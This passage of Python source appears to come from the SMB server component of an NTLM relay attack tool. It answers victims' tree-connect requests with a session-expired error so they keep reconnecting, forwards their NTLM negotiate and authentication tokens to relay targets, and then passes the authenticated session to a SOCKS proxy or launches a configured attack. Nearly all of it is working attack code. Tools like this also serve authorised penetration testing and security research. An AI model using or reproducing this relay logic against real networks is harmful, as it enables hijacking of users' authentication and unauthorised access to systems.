  611. resp['Pid'] = connData['Pid']
  612. respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
  613. respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
  614. respData = smb.SMBTreeConnectAndXResponse_Data()
  615. treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
  616. if treeConnectAndXParameters['Flags'] & 0x8:
  617. respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
  618. treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
  619. treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
  620. treeConnectAndXData.fromString(SMBCommand['Data'])
  621. ## Process here the request, does the share exist?
  622. UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
  623. # Is this a UNC?
  624. if ntpath.ismount(UNCOrShare):
  625. path = UNCOrShare.split('\\')[3]
  626. else:
  627. path = ntpath.basename(UNCOrShare)
  628. # This is the key, force the client to reconnect.
  629. # It will loop until all targets are processed for this user
  630. errorCode = STATUS_NETWORK_SESSION_EXPIRED
  631. resp['ErrorCode'] = errorCode >> 16
  632. resp['_reserved'] = 0o3
  633. resp['ErrorClass'] = errorCode & 0xff
  634. if path == 'IPC$':
  635. respData['Service'] = 'IPC'
  636. else:
  637. respData['Service'] = path
  638. respData['PadLen'] = 0
  639. respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
  640. respSMBCommand['Parameters'] = respParameters
  641. respSMBCommand['Data'] = respData
  642. resp['Uid'] = connData['Uid']
  643. resp.addCommand(respSMBCommand)
  644. smbServer.setConnectionData(connId, connData)
  645. return None, [resp], errorCode
  646. ################################################################################
  647. #Initialize the correct client for the relay target
  648. def init_client(self,extSec):
  649. if self.target.scheme.upper() in self.config.protocolClients:
  650. client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec)
  651. client.initConnection()
  652. else:
  653. raise Exception('Protocol Client for %s not found!' % self.target.scheme)
  654. return client
  655. def do_ntlm_negotiate(self,client,token):
  656. #Since the clients all support the same operations there is no target protocol specific code needed for now
  657. return client.sendNegotiate(token)
  658. def do_ntlm_auth(self,client,SPNEGO_token,challenge):
  659. #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB
  660. clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge)
  661. return clientResponse, errorCode
  662. def do_attack(self,client):
  663. #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
  664. # Check if SOCKS is enabled and if we support the target scheme
  665. if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:
  666. if self.config.runSocks is True:
  667. # Pass all the data to the socksplugins proxy
  668. activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),
  669. self.authUser, client, client.sessionData))
  670. return
  671. # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
  672. if self.target.scheme.upper() in self.config.attacks:
  673. # We have an attack.. go for it
  674. clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser)
  675. clientThread.start()
  676. else:
  677. LOG.error('No attack configured for %s' % self.target.scheme.upper())
  678. def _start(self):
  679. self.server.daemon_threads=True
  680. self.server.serve_forever()
  681. LOG.info('Shutting down SMB Server')
  682. self.server.server_close()
  683. def run(self):
  684. LOG.info("Setting up SMB Server")
  685. self._start()